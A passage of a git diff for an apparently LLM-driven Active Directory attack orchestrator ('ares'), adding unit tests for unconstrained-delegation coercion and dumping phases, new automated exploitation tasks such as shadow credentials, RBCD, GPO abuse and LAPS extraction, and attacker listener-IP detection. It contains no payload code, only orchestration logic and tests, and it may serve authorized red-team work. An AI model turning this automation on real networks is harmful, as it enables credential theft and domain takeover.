phase.coercion_dispatched_at.unwrap().elapsed(); + assert!(elapsed < COERCE_TO_DUMP_DELAY); + } + + // ----------------------------------------------------------------------- + // Dump retry timing logic + // ----------------------------------------------------------------------- + + #[test] + fn test_dump_retry_eligible_no_last_dump() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 1, + last_dump_at: None, + completed: false, + }; + // With last_dump_at = None, retry should be eligible + assert!(phase + .last_dump_at + .is_none_or(|t| t.elapsed() >= DUMP_RETRY_DELAY)); + } + + #[test] + fn test_dump_retry_not_yet_eligible() { + let phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 1, + last_dump_at: Some(Instant::now()), + completed: false, + }; + // Just dumped, retry delay has not elapsed + let elapsed = phase.last_dump_at.unwrap().elapsed(); + assert!(elapsed < DUMP_RETRY_DELAY); + } + + // ----------------------------------------------------------------------- + // Constants + // ----------------------------------------------------------------------- + + #[test] + fn test_max_dump_attempts_constant() { + assert_eq!(MAX_DUMP_ATTEMPTS, 3); + } + + #[test] + fn test_coerce_to_dump_delay() { + assert_eq!(COERCE_TO_DUMP_DELAY, Duration::from_secs(15)); + } + + #[test] + fn test_dump_retry_delay() { + assert_eq!(DUMP_RETRY_DELAY, Duration::from_secs(60)); + } + + // ----------------------------------------------------------------------- + // Action enum + // ----------------------------------------------------------------------- + + #[test] + fn test_action_debug_format() { + assert_eq!(format!("{:?}", Action::Coerce), "Coerce"); + assert_eq!(format!("{:?}", Action::Dump), "Dump"); + assert_eq!(format!("{:?}", Action::LlmExploit), "LlmExploit"); + } + + // ----------------------------------------------------------------------- + // UnconstrainedWork construction patterns + // ----------------------------------------------------------------------- + + #[test] + fn test_unconstrained_work_machine_coerce() { + let work = UnconstrainedWork { + vuln_id: "vuln-uc-001".to_string(), + account_name: "DC02$".to_string(), + domain: "contoso.local".to_string(), + host_ip: "192.168.58.11".to_string(), + dc_ip: Some("192.168.58.10".to_string()), + credential: Some(ares_core::models::Credential { + id: "cred-1".to_string(), + username: "testuser".to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }), + action: Action::Coerce, + _dedup_key: None, + }; + + assert!(work.account_name.ends_with('$')); + assert!(work.dc_ip.is_some()); + assert!(work.credential.is_some()); + assert!(work._dedup_key.is_none()); + assert!(matches!(work.action, Action::Coerce)); + } + + #[test] + fn test_unconstrained_work_machine_dump() { + let work = UnconstrainedWork { + vuln_id: "vuln-uc-002".to_string(), + account_name: "SQL01$".to_string(), + domain: "fabrikam.local".to_string(), + host_ip: "192.168.58.21".to_string(), + dc_ip: Some("192.168.58.20".to_string()), + credential: Some(ares_core::models::Credential { + id: "cred-2".to_string(), + username: "testuser".to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: "fabrikam.local".to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }), + action: Action::Dump, + _dedup_key: None, + }; + + assert!(matches!(work.action, Action::Dump)); + assert_eq!(work.host_ip, "192.168.58.21"); + } + + #[test] + fn test_unconstrained_work_user_llm_exploit() { + let work = UnconstrainedWork { + vuln_id: "vuln-uc-003".to_string(), + account_name: "svc_admin".to_string(), + domain: "contoso.local".to_string(), + host_ip: "192.168.58.10".to_string(), // DC IP used as target for user accounts + dc_ip: Some("192.168.58.10".to_string()), + credential: Some(ares_core::models::Credential { + id: "cred-3".to_string(), + username: "testuser".to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }), + action: Action::LlmExploit, + _dedup_key: Some("uc_user:svc_admin".to_string()), + }; + + assert!(!work.account_name.ends_with('$')); + assert!(matches!(work.action, Action::LlmExploit)); + assert!(work._dedup_key.is_some()); + assert_eq!(work._dedup_key.as_ref().unwrap(), "uc_user:svc_admin"); + // For user accounts, host_ip matches dc_ip + assert_eq!(work.host_ip, work.dc_ip.as_ref().unwrap().as_str()); + } + + // ----------------------------------------------------------------------- + // Phase state machine transitions + // ----------------------------------------------------------------------- + + #[test] + fn test_phase_transition_none_to_coerce() { + // When no phase exists and DC is available, action should be Coerce + let mut phases: HashMap = HashMap::new(); + let vuln_id = "vuln-001"; + let dc_ip = Some("192.168.58.10".to_string()); + let already_coerced = false; + + let phase = phases.get(vuln_id); + let action = match phase { + None if already_coerced => Action::Dump, + None if dc_ip.is_some() => Action::Coerce, + _ => Action::Dump, // fallback for test + }; + + assert!(matches!(action, Action::Coerce)); + + // After coercion, insert phase state + phases.insert( + vuln_id.to_string(), + PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 0, + last_dump_at: None, + completed: false, + }, + ); + assert!(phases.contains_key(vuln_id)); + } + + #[test] + fn test_phase_transition_already_coerced_skips_to_dump() { + let phases: HashMap = HashMap::new(); + let vuln_id = "vuln-002"; + let dc_ip = Some("192.168.58.10".to_string()); + let already_coerced = true; + + let phase = phases.get(vuln_id); + let action = match phase { + None if already_coerced => Action::Dump, + None if dc_ip.is_some() => Action::Coerce, + _ => Action::Coerce, // fallback for test + }; + + assert!(matches!(action, Action::Dump)); + } + + #[test] + fn test_phase_dump_increments_attempts() { + let mut phase = PhaseState { + coercion_dispatched_at: Some(Instant::now()), + dump_attempts: 0, + last_dump_at: None, + completed: false, + }; + + // Simulate dump dispatch + phase.dump_attempts += 1; + phase.last_dump_at = Some(Instant::now()); + assert_eq!(phase.dump_attempts, 1); + + // Second dump + phase.dump_attempts += 1; + phase.last_dump_at = Some(Instant::now()); + assert_eq!(phase.dump_attempts, 2); + + // Third dump (max) + phase.dump_attempts += 1; + phase.last_dump_at = Some(Instant::now()); + if phase.dump_attempts >= MAX_DUMP_ATTEMPTS { + phase.completed = true; + } + assert_eq!(phase.dump_attempts, 3); + assert!(phase.completed); + } + + #[test] + fn test_phase_llm_exploit_immediately_completed() { + let phase = PhaseState { + coercion_dispatched_at: None, + dump_attempts: 0, + last_dump_at: None, + completed: true, + }; + // LLM exploit phases are marked completed immediately + assert!(phase.completed); + assert!(phase.coercion_dispatched_at.is_none()); + assert_eq!(phase.dump_attempts, 0); + } } diff --git a/ares-cli/src/orchestrator/automation_spawner.rs b/ares-cli/src/orchestrator/automation_spawner.rs index c02590eb..8278ea53 100644 --- a/ares-cli/src/orchestrator/automation_spawner.rs +++ b/ares-cli/src/orchestrator/automation_spawner.rs @@ -26,6 +26,7 @@ pub(crate) fn spawn_automation_tasks( spawn_auto!(auto_crack_dispatch); spawn_auto!(auto_mssql_detection); spawn_auto!(auto_adcs_enumeration); + spawn_auto!(auto_adcs_exploitation); spawn_auto!(auto_share_enumeration); spawn_auto!(auto_share_spider); spawn_auto!(auto_bloodhound); @@ -41,6 +42,12 @@ pub(crate) fn spawn_automation_tasks( spawn_auto!(auto_gmsa_extraction); spawn_auto!(auto_unconstrained_exploitation); spawn_auto!(auto_stall_detection); + spawn_auto!(auto_credential_reuse); + spawn_auto!(auto_shadow_credentials); + spawn_auto!(auto_rbcd_exploitation); + spawn_auto!(auto_mssql_exploitation); + spawn_auto!(auto_gpo_abuse); + spawn_auto!(auto_laps_extraction); info!(count = handles.len(), "Automation tasks spawned"); handles diff --git a/ares-cli/src/orchestrator/callback_handler/mod.rs b/ares-cli/src/orchestrator/callback_handler/mod.rs index 76c8a3e9..b56a4df1 100644 --- a/ares-cli/src/orchestrator/callback_handler/mod.rs +++ b/ares-cli/src/orchestrator/callback_handler/mod.rs @@ -71,6 +71,9 @@ impl CallbackHandler for OrchestratorCallbackHandler { "get_pending_tasks" => Some(self.get_pending_tasks().await), "get_agent_status" => Some(self.get_agent_status().await), "get_operation_summary" => Some(self.get_operation_summary().await), + // list_credentials delegates to get_all_credentials so non-orchestrator + // agents (lateral, exploit) get real credential data instead of a stub. + "list_credentials" => Some(self.get_all_credentials(call).await), // Recording tools — persist to state and Redis "record_credential" => Some(self.record_credential(call).await), "record_timeline_event" => Some(self.record_timeline_event(call).await), diff --git a/ares-cli/src/orchestrator/callback_handler/tests.rs b/ares-cli/src/orchestrator/callback_handler/tests.rs index 97c312a4..492df619 100644 --- a/ares-cli/src/orchestrator/callback_handler/tests.rs +++ b/ares-cli/src/orchestrator/callback_handler/tests.rs @@ -545,3 +545,280 @@ async fn test_all_hashes_pagination_large() { other => panic!("Expected Continue, got: {:?}", other), } } + +// --- Disabled tool handler tests (dispatch.rs coverage) --- + +#[tokio::test] +async fn test_record_credential_disabled() { + let handler = make_handler(); + let call = ToolCall { + id: "dis-1".into(), + name: "record_credential".into(), + arguments: json!({"username": "admin", "password": "pass", "domain": "contoso.local"}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + assert!(msg.contains("disabled")); + assert!(msg.contains("automatically extracted")); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_record_timeline_event_disabled() { + let handler = make_handler(); + let call = ToolCall { + id: "dis-2".into(), + name: "record_timeline_event".into(), + arguments: json!({"event": "some event"}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + assert!(msg.contains("disabled")); + assert!(msg.contains("automatically generated")); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_report_cracked_credential_disabled() { + let handler = make_handler(); + let call = ToolCall { + id: "dis-3".into(), + name: "report_cracked_credential".into(), + arguments: json!({"hash": "aad3b:beef", "password": "cracked123"}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + assert!(msg.contains("disabled")); + assert!(msg.contains("automatically extracted")); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_list_credentials_delegates_to_get_all() { + let handler = make_handler(); + { + let mut s = handler.state.write().await; + s.credentials + .push(make_cred("admin", "pass", "contoso.local", true)); + s.credentials + .push(make_cred("user1", "pass1", "fabrikam.local", false)); + } + + let call = ToolCall { + id: "lc-1".into(), + name: "list_credentials".into(), + arguments: json!({}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + let parsed: serde_json::Value = serde_json::from_str(&msg).unwrap(); + assert_eq!(parsed["total"], 2); + assert!(parsed["credentials"].as_array().is_some()); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_dispatch_coercion_without_dispatcher() { + let handler = make_handler(); + let call = ToolCall { + id: "co-1".into(), + name: "dispatch_coercion".into(), + arguments: json!({"target_ip": "192.168.58.10", "listener_ip": "192.168.58.100"}), + }; + let result = handler.handle_callback(&call).await.unwrap(); + assert!(result.is_err()); +} + +#[tokio::test] +async fn test_dispatch_exploit_without_dispatcher() { + let handler = make_handler(); + let call = ToolCall { + id: "ex-1".into(), + name: "dispatch_privesc_exploit".into(), + arguments: json!({"vuln_id": "vuln-999", "priority": 3}), + }; + let result = handler.handle_callback(&call).await.unwrap(); + assert!(result.is_err()); +} + +#[tokio::test] +async fn test_get_agent_status_without_task_queue() { + let handler = make_handler(); + let call = ToolCall { + id: "as-1".into(), + name: "get_agent_status".into(), + arguments: json!({}), + }; + let result = handler.handle_callback(&call).await.unwrap(); + // new_for_test has no task_queue, so this should error + assert!(result.is_err()); +} + +#[tokio::test] +async fn test_hash_summary_with_mixed_types() { + let handler = make_handler(); + { + let mut s = handler.state.write().await; + s.hashes.push(make_hash( + "admin", + "contoso.local", + "NTLM", + "ntlm_hash", + None, + )); + s.hashes.push(make_hash( + "admin", + "contoso.local", + "aes256", + "aes_hash", + Some("aes_key_val"), + )); + let mut cracked = make_hash("user1", "contoso.local", "NTLM", "cracked_hash", None); + cracked.cracked_password = Some("password123".to_string()); + s.hashes.push(cracked); + } + + let call = ToolCall { + id: "hs-1".into(), + name: "get_hash_summary".into(), + arguments: json!({}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + let parsed: serde_json::Value = serde_json::from_str(&msg).unwrap(); + assert_eq!(parsed["total_hashes"], 3); + let by_type = parsed["by_type"].as_array().unwrap(); + assert_eq!(by_type.len(), 2); // NTLM and aes256 + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_all_credentials_zero_offset_default_limit() { + let handler = make_handler(); + { + let mut s = handler.state.write().await; + for i in 0..5 { + s.credentials.push(make_cred( + &format!("user{i}"), + "pass", + "contoso.local", + false, + )); + } + } + + // No limit/offset in args => defaults (limit=30, offset=0) + let call = ToolCall { + id: "ac-def".into(), + name: "get_all_credentials".into(), + arguments: json!({}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + let parsed: serde_json::Value = serde_json::from_str(&msg).unwrap(); + assert_eq!(parsed["total"], 5); + assert_eq!(parsed["offset"], 0); + assert_eq!(parsed["limit"], 30); + assert_eq!(parsed["credentials"].as_array().unwrap().len(), 5); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_all_hashes_default_params() { + let handler = make_handler(); + { + let mut s = handler.state.write().await; + s.hashes.push(make_hash( + "admin", + "contoso.local", + "NTLM", + "hash_val", + Some("aes_key"), + )); + } + + let call = ToolCall { + id: "ah-def".into(), + name: "get_all_hashes".into(), + arguments: json!({}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + let parsed: serde_json::Value = serde_json::from_str(&msg).unwrap(); + assert_eq!(parsed["total"], 1); + let h = &parsed["hashes"].as_array().unwrap()[0]; + assert_eq!(h["username"], "admin"); + assert_eq!(h["has_aes_key"], true); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_operation_summary_empty_state() { + let handler = make_handler(); + let call = ToolCall { + id: "os-empty".into(), + name: "get_operation_summary".into(), + arguments: json!({}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + let parsed: serde_json::Value = serde_json::from_str(&msg).unwrap(); + assert_eq!(parsed["credentials"]["total"], 0); + assert_eq!(parsed["hashes"]["total"], 0); + assert_eq!(parsed["has_domain_admin"], false); + assert_eq!(parsed["hosts"], 0); + assert_eq!(parsed["discovered_vulnerabilities"], 0); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} + +#[tokio::test] +async fn test_hash_value_empty_domain_filter() { + let handler = make_handler(); + { + let mut s = handler.state.write().await; + s.hashes + .push(make_hash("admin", "contoso.local", "NTLM", "hash_a", None)); + s.hashes + .push(make_hash("admin", "fabrikam.local", "NTLM", "hash_b", None)); + } + + // Empty domain should match all domains for that user + let call = ToolCall { + id: "hv-nodom".into(), + name: "get_hash_value".into(), + arguments: json!({"username": "admin", "domain": ""}), + }; + let result = handler.handle_callback(&call).await.unwrap().unwrap(); + match result { + CallbackResult::Continue(msg) => { + let parsed: serde_json::Value = serde_json::from_str(&msg).unwrap(); + let arr = parsed.as_array().unwrap(); + assert_eq!(arr.len(), 2); + } + other => panic!("Expected Continue, got: {:?}", other), + } +} diff --git a/ares-cli/src/orchestrator/completion.rs b/ares-cli/src/orchestrator/completion.rs index 0b57db9a..d71cbb08 100644 --- a/ares-cli/src/orchestrator/completion.rs +++ b/ares-cli/src/orchestrator/completion.rs @@ -675,4 +675,226 @@ mod tests { // fabrikam.local DC is known but not dominated → should appear assert_eq!(result, vec!["fabrikam.local"]); } + + // --- Additional coverage tests --- + + #[test] + fn test_forest_root_of_case_insensitive() { + assert_eq!(forest_root_of("CONTOSO.LOCAL"), "contoso.local"); + assert_eq!(forest_root_of("North.Contoso.Local"), "contoso.local"); + } + + #[test] + fn test_forest_root_of_single_label() { + // Single-label domain (unusual but should not panic) + assert_eq!(forest_root_of("localhost"), "localhost"); + } + + #[test] + fn test_forest_root_of_empty() { + assert_eq!(forest_root_of(""), ""); + } + + #[test] + fn test_undominated_no_target_no_first_domain() { + // Both target_domain and first_domain are None + let trusted = std::collections::HashMap::new(); + let dominated = HashSet::new(); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests(None, None, &trusted, &dominated, &dcs); + assert!(result.is_empty()); + } + + #[test] + fn test_undominated_empty_target_domain() { + // target_domain is Some("") — should be treated as missing + let trusted = std::collections::HashMap::new(); + let dominated = HashSet::new(); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests(Some(""), None, &trusted, &dominated, &dcs); + assert!(result.is_empty()); + } + + #[test] + fn test_undominated_only_first_domain() { + // target_domain is None but first_domain is set + let trusted = std::collections::HashMap::new(); + let dominated = HashSet::new(); + let dcs = std::collections::HashMap::new(); + let result = + compute_undominated_forests(None, Some("contoso.local"), &trusted, &dominated, &dcs); + assert_eq!(result, vec!["contoso.local"]); + } + + #[test] + fn test_undominated_external_trust_is_cross_forest() { + // "external" trust type should be treated as cross-forest + let mut trusted = std::collections::HashMap::new(); + trusted.insert( + "fabrikam.local".to_string(), + make_trust("fabrikam.local", "external"), + ); + let dominated = HashSet::new(); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("contoso.local"), + &trusted, + &dominated, + &dcs, + ); + assert!(result.contains(&"fabrikam.local".to_string())); + assert!(result.contains(&"contoso.local".to_string())); + } + + #[test] + fn test_undominated_unknown_trust_not_cross_forest() { + // "unknown" trust type should NOT be treated as cross-forest + let mut trusted = std::collections::HashMap::new(); + trusted.insert( + "fabrikam.local".to_string(), + make_trust("fabrikam.local", "unknown"), + ); + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("contoso.local"), + &trusted, + &dominated, + &dcs, + ); + // "unknown" is not cross-forest, so fabrikam should NOT appear + assert!(result.is_empty()); + } + + #[test] + fn test_undominated_multiple_cross_forest_trusts() { + let mut trusted = std::collections::HashMap::new(); + trusted.insert( + "fabrikam.local".to_string(), + make_trust("fabrikam.local", "forest"), + ); + trusted.insert( + "tailspintoys.local".to_string(), + make_trust("tailspintoys.local", "forest"), + ); + + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + dominated.insert("fabrikam.local".to_string()); + // tailspintoys not dominated + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("contoso.local"), + &trusted, + &dominated, + &dcs, + ); + assert_eq!(result, vec!["tailspintoys.local"]); + } + + #[test] + fn test_undominated_child_trust_domain_maps_to_parent_forest() { + // Cross-forest trust with a child domain like "north.fabrikam.local" + // should map to forest root "fabrikam.local" + let mut trusted = std::collections::HashMap::new(); + trusted.insert( + "north.fabrikam.local".to_string(), + make_trust("north.fabrikam.local", "forest"), + ); + + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("contoso.local"), + &trusted, + &dominated, + &dcs, + ); + assert_eq!(result, vec!["fabrikam.local"]); + } + + #[test] + fn test_undominated_empty_dc_key_ignored() { + // Empty string DC key should be ignored + let trusted = std::collections::HashMap::new(); + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + let mut dcs = std::collections::HashMap::new(); + dcs.insert("".to_string(), "192.168.58.1".to_string()); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("contoso.local"), + &trusted, + &dominated, + &dcs, + ); + assert!(result.is_empty()); + } + + #[test] + fn test_undominated_case_insensitive_dominated() { + // forest_root_of lowercases, so dominated domains with mixed case should still match + let trusted = std::collections::HashMap::new(); + let mut dominated = HashSet::new(); + dominated.insert("contoso.local".to_string()); + let dcs = std::collections::HashMap::new(); + let result = + compute_undominated_forests(Some("CONTOSO.LOCAL"), None, &trusted, &dominated, &dcs); + // target "CONTOSO.LOCAL" lowercases to "contoso.local" which is dominated + assert!(result.is_empty()); + } + + #[test] + fn test_undominated_target_and_first_same_forest() { + // target and first_domain in the same forest should only produce one entry + let trusted = std::collections::HashMap::new(); + let dominated = HashSet::new(); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("north.contoso.local"), + &trusted, + &dominated, + &dcs, + ); + assert_eq!(result.len(), 1); + assert_eq!(result[0], "contoso.local"); + } + + #[test] + fn test_undominated_target_and_first_different_forests() { + let trusted = std::collections::HashMap::new(); + let dominated = HashSet::new(); + let dcs = std::collections::HashMap::new(); + let result = compute_undominated_forests( + Some("contoso.local"), + Some("fabrikam.local"), + &trusted, + &dominated, + &dcs, + ); + assert_eq!(result.len(), 2); + let mut sorted = result.clone(); + sorted.sort(); + assert_eq!(sorted, vec!["contoso.local", "fabrikam.local"]); + } + + #[test] + fn test_make_trust_helper() { + let trust = make_trust("fabrikam.local", "forest"); + assert_eq!(trust.domain, "fabrikam.local"); + assert_eq!(trust.flat_name, "FABRIKAM"); + assert_eq!(trust.trust_type, "forest"); + assert!(trust.is_cross_forest()); + assert!(!trust.sid_filtering); + + let parent_child = make_trust("north.contoso.local", "parent_child"); + assert!(!parent_child.is_cross_forest()); + } } diff --git a/ares-cli/src/orchestrator/config.rs b/ares-cli/src/orchestrator/config.rs index 841ebb23..8f8705be 100644 --- a/ares-cli/src/orchestrator/config.rs +++ b/ares-cli/src/orchestrator/config.rs @@ -7,6 +7,8 @@ use std::env; use std::time::Duration; +use crate::orchestrator::strategy::Strategy; + /// All tunables for the orchestrator, loaded once at startup. #[derive(Debug, Clone)] #[allow(dead_code)] @@ -62,6 +64,14 @@ pub struct OrchestratorConfig { /// Initial credential to seed at startup (optional). /// Format: `user:pass@domain` or from JSON payload. pub initial_credential: Option, + + /// Strategy controlling technique weights, filtering, and path diversity. + pub strategy: Strategy, + + /// Local IP of the attacker machine (for NTLM relay listeners, coercion, etc.). + /// Resolved from `ARES_LISTENER_IP` env var, or auto-detected via UDP socket + /// probe toward the first target IP. + pub listener_ip: Option, } /// A credential provided at operation launch time. @@ -73,8 +83,11 @@ pub struct InitialCredential { } impl OrchestratorConfig { - /// Load configuration from environment variables with sensible defaults. - pub fn from_env() -> anyhow::Result { + /// Load configuration from environment variables, merging strategy + /// settings from the optional YAML config. + pub fn from_env_with_yaml( + yaml: Option<&ares_core::config::AresConfig>, + ) -> anyhow::Result { let redis_url = env::var("ARES_REDIS_URL") .or_else(|_| env::var("REDIS_URL")) .unwrap_or_else(|_| "redis://127.0.0.1:6379/0".to_string()); @@ -87,7 +100,9 @@ impl OrchestratorConfig { // The value may also be prefixed with log/telemetry output from the // wrapper script, so we search for the first `{` in the string. let json_start = raw_op.find('{'); - let (operation_id, target_domain, target_ips, json_cred) = if let Some(pos) = json_start { + let (operation_id, target_domain, target_ips, json_cred, json_value) = if let Some(pos) = + json_start + { let json_str = &raw_op[pos..]; let v: serde_json::Value = serde_json::from_str(json_str) .map_err(|e| anyhow::anyhow!("Failed to parse ARES_OPERATION_ID JSON: {e}"))?; @@ -137,7 +152,7 @@ impl OrchestratorConfig { _ => None, } }; - (op_id, domain, ips, cred) + (op_id, domain, ips, cred, Some(v)) } else { // Plain operation ID — read target info from separate env vars let domain = env::var("ARES_TARGET_DOMAIN").unwrap_or_default(); @@ -147,7 +162,7 @@ impl OrchestratorConfig { .map(|s| s.trim().to_string()) .filter(|s| !s.is_empty()) .collect(); - (raw_op, domain, ips, None) + (raw_op, domain, ips, None, None) }; // Initial credential: JSON payload takes precedence, then env var. @@ -158,6 +173,14 @@ impl OrchestratorConfig { .and_then(|raw| parse_credential_spec(&raw, &target_domain)) }); + // Resolve strategy from env vars + JSON payload + YAML config + let strategy = Strategy::resolve(json_value.as_ref(), yaml); + + // Listener IP: explicit env var, or auto-detect from first target IP. + let listener_ip = env::var("ARES_LISTENER_IP") + .ok() + .or_else(|| detect_local_ip(target_ips.first().map(|s| s.as_str()))); + let max_concurrent_tasks = parse_env("ARES_MAX_CONCURRENT_TASKS", 8); let heartbeat_interval_secs = parse_env("ARES_HEARTBEAT_INTERVAL_SECS", 30); let heartbeat_timeout_secs = parse_env("ARES_HEARTBEAT_TIMEOUT_SECS", 120); @@ -189,6 +212,8 @@ impl OrchestratorConfig { target_domain, target_ips, initial_credential, + strategy, + listener_ip, }) } @@ -232,6 +257,22 @@ fn parse_credential_spec(spec: &str, default_domain: &str) -> Option) -> Option { + let dest = target.unwrap_or("8.8.8.8"); + let socket = std::net::UdpSocket::bind("0.0.0.0:0").ok()?; + socket.connect(format!("{dest}:53")).ok()?; + let addr = socket.local_addr().ok()?; + let ip = addr.ip().to_string(); + // Reject loopback — not useful as a relay listener + if ip.starts_with("127.") { + return None; + } + Some(ip) +} + /// Parse an environment variable into a numeric type, falling back to `default`. fn parse_env(key: &str, default: T) -> T { env::var(key) @@ -240,6 +281,14 @@ fn parse_env(key: &str, default: T) -> T { .unwrap_or(default) } +#[cfg(test)] +impl OrchestratorConfig { + /// Test-only convenience: load from env vars without YAML config. + pub fn from_env() -> anyhow::Result { + Self::from_env_with_yaml(None) + } +} + #[cfg(test)] mod tests { use super::*; @@ -264,6 +313,8 @@ mod tests { target_domain: String::new(), target_ips: Vec::new(), initial_credential: None, + strategy: Strategy::default(), + listener_ip: None, } } @@ -375,4 +426,49 @@ mod tests { // Empty password without domain assert!(parse_credential_spec("admin:", "").is_none()); } + + #[test] + fn detect_local_ip_returns_some() { + // Uses 8.8.8.8 as default destination — should resolve to a local interface + // unless we're running in a network-less sandbox. + let ip = detect_local_ip(None); + if let Some(ref addr) = ip { + assert!(!addr.starts_with("127."), "Should reject loopback: {addr}"); + } + // Also test with an explicit target + let ip2 = detect_local_ip(Some("192.168.58.10")); + if let Some(ref addr) = ip2 { + assert!(!addr.starts_with("127.")); + } + } + + #[test] + fn make_config_has_strategy() { + let cfg = make_config(8); + assert!(cfg.listener_ip.is_none()); + assert!(cfg.initial_credential.is_none()); + // Default strategy should be Fast + assert!(!cfg.strategy.should_continue_after_da()); + } + + #[test] + fn config_with_listener_ip_env() { + // JSON payload with strategy and listener IP + std::env::set_var("ARES_LISTENER_IP", "10.0.0.50"); + std::env::set_var("ARES_OPERATION_ID", "test-listener"); + let c = OrchestratorConfig::from_env().unwrap(); + assert_eq!(c.listener_ip, Some("10.0.0.50".to_string())); + std::env::remove_var("ARES_LISTENER_IP"); + std::env::remove_var("ARES_OPERATION_ID"); + } + + #[test] + fn config_json_with_strategy() { + let payload = r#"{"operation_id":"op-strat","target_domain":"contoso.local","target_ips":[],"strategy":"comprehensive"}"#; + std::env::set_var("ARES_OPERATION_ID", payload); + let c = OrchestratorConfig::from_env().unwrap(); + assert!(c.strategy.should_continue_after_da()); + assert!(c.strategy.is_comprehensive()); + std::env::remove_var("ARES_OPERATION_ID"); + } } diff --git a/ares-cli/src/orchestrator/deferred.rs b/ares-cli/src/orchestrator/deferred.rs index 168e6e6b..8ae1e573 100644 --- a/ares-cli/src/orchestrator/deferred.rs +++ b/ares-cli/src/orchestrator/deferred.rs @@ -392,4 +392,150 @@ mod tests { assert_eq!(t.task_type, t2.task_type); assert!((t.enqueue_time - t2.enqueue_time).abs() < f64::EPSILON); } + + // --- Additional coverage tests --- + + #[test] + fn score_zero_priority() { + let t = make_task(0, 1000.0); + // priority 0 => score is purely time-based + assert_eq!(t.score(), 1000.0 * 1000.0); + } + + #[test] + fn score_negative_priority() { + // Negative priority (if ever used) should produce lower score than positive + let neg = make_task(-1, 1000.0); + let pos = make_task(1, 1000.0); + assert!(neg.score() < pos.score()); + } + + #[test] + fn score_large_time_can_overflow_bucket() { + // With very large time differences, time component can overwhelm + // the priority bucket (1e9). This is by design -- the ZSET score + // guarantees ordering within reasonable time windows (< ~1000s). + let p1_late = make_task(1, 999_999_999.0); + let p2_early = make_task(2, 0.0); + // Time component dominates: 999_999_999 * 1000 >> 1e9 priority gap + assert!(p1_late.score() > p2_early.score()); + } + + #[test] + fn score_identical_inputs() { + let t1 = make_task(3, 500.0); + let t2 = make_task(3, 500.0); + assert_eq!(t1.score(), t2.score()); + } + + #[test] + fn deferred_task_fields_populated() { + let t = DeferredTask { + priority: 2, + enqueue_time: 1700000000.0, + task_type: "credential_access".into(), + target_role: "credential_access".into(), + payload: serde_json::json!({"target_ip": "192.168.58.10", "domain": "contoso.local"}), + source_agent: "orchestrator".into(), + }; + assert_eq!(t.priority, 2); + assert_eq!(t.task_type, "credential_access"); + assert_eq!(t.target_role, "credential_access"); + assert_eq!(t.source_agent, "orchestrator"); + assert_eq!(t.payload["target_ip"].as_str().unwrap(), "192.168.58.10"); + assert_eq!(t.payload["domain"].as_str().unwrap(), "contoso.local"); + } + + #[test] + fn deferred_task_roundtrip_with_payload() { + let t = DeferredTask { + priority: 5, + enqueue_time: 1700000000.0, + task_type: "lateral".into(), + target_role: "lateral".into(), + payload: serde_json::json!({ + "target_ip": "192.168.58.30", + "technique": "psexec", + "credential": { + "username": "admin", + "domain": "contoso.local" + } + }), + source_agent: "orchestrator".into(), + }; + let json = serde_json::to_string(&t).unwrap(); + let t2: DeferredTask = serde_json::from_str(&json).unwrap(); + assert_eq!(t2.payload["target_ip"].as_str().unwrap(), "192.168.58.30"); + assert_eq!(t2.payload["technique"].as_str().unwrap(), "psexec"); + assert_eq!( + t2.payload["credential"]["username"].as_str().unwrap(), + "admin" + ); + } + + #[test] + fn deferred_task_empty_payload_roundtrip() { + let t = make_task(1, 500.0); + let json = serde_json::to_string(&t).unwrap(); + let t2: DeferredTask = serde_json::from_str(&json).unwrap(); + assert_eq!(t2.payload, serde_json::json!({})); + } + + #[test] + fn score_formula_matches_spec() { + // 